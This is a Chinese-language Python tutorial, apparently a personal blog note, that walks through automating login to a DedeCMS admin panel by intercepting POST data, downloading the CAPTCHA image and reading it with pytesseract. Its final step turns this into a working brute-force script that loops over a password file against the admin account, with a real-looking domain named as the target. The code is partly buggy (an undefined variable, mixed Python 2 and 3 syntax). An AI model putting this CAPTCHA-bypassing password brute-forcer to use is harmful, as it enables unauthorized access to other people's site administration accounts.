第一步:用burpsuite 或者fiddler 等抓包看 post提交的数据,方便设置 post 的data 包
然后设置 header 和 data
url = 'http://xxxxxxxx/login.php'
s = requests.session()
data = {
'dopost':'login',
'adminstyle':'newdedecms',
'userid':'root',
'pwd':'password',
'validate':'vali'
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
html = s.post(url, data=data, headers=header)
print(html.text)
第二步:把页面验证码保存起来,以便于用pytesseract识别验证码(PHP文件后缀可直接保持session的情况下访问php文件返回的html就是当前需要提交的图片)
s = requests.session()
urlCode = "http:/XXXXXXXXX/include/vdimgck.php"
resp = s.get(urlCode)
f = open("./img.jpg","wb")
f.write(resp.content)
f.close()
第三步:识别验证码 (需要安装 pillow、pytesseract、tesseract-ocr)
im=Image.open('img.jpg')
#imgry = im.convert('L') #转化为灰色 (中间的注释操作可神略,是将图片更容易识别,还需要其他操作)
# threshold = 140 #将图片二极化
# table = []
# for i in range(256):
# if i < threshold:
# table.append(0)
# else:
# table.append(1)
# out = imgry.point(table, '1')
pytesseract.image_to_string(im)
第四步:把各步简单整合,返回登录成功的页面
import pytesseract
from PIL import Image
import requests
def vidnum(url,s):
res = s.get(url) #加载验证码页面
f = open("./img.jpg","wb")
f.write(res.content) #保存验证码数图片
f.close()
im=Image.open('img.jpg')
# imgry = im.convert('L') #转化为灰色 (中间的注释操作可神略,是将图片更容易识别,还需要其他操作)
# threshold = 140 #将图片二极化
# table = []
# for i in range(256):
# if i < threshold:
# table.append(0)
# else:
# table.append(1)
# im = imgry.point(table, '1')
vidnum = pytesseract.image_to_string(im) #返回的验证码
return vidnum.replace(' ','') #去除空格
def main(url):
loginurl = url + '/login.php'
s = requests.session()
vakudate = vidnum(url +"/vdimgck.php",s);
data = {
'dopost':'login',
'adminstyle':'newdedecms',
'userid':'admin',
'pwd':'admin',
'validate': vakudate
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
s.post(loginurl, data=data, headers=header) #带数据访问
html = s.post(url).text #返回登录成功的页面
return html
aa = main('http://www.xxxxxxxxx.cn')
print(aa)
第五步:小改下main 函数,就可以 爆破密码 (利用密码集文本,或者自己写生成器)
def main(url,pwd):
loginurl = url + 'dede/login.php'
s = requests.session()
vakudate = vidnum(url +"include/vdimgck.php",s);
data = {
'dopost':'login',
'adminstyle':'newdedecms',
'userid':'admin',
'pwd':pwd,
'validate': vakudate
}
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
s.post(loginurl, data=data, headers=header) #带数据访问
if (s.post(url).text == '登录成功页面'): #判断是否登录成功,每个网站不用,或用其他判断
return pwd
else:
return
file = open('passwork.txt','r+'); #加载密码集
for x in open('passwork.txt'):
passwork =file.readline();
pwd = passwork.strip()
true_pass = main('http://www.wuxiaodong.cn/',pwd)
if result is not None:
print true_pass; #输出真实密码
总结:运用 requests 库 去模拟访问 ,使用 pillow、pytesseract、tesseract-ocr 库 识别验证码(虽然成功率不是很高,但是简单),可以模拟登录,获取cookie ,还可以简单爆破密码,小小的一次python经验记载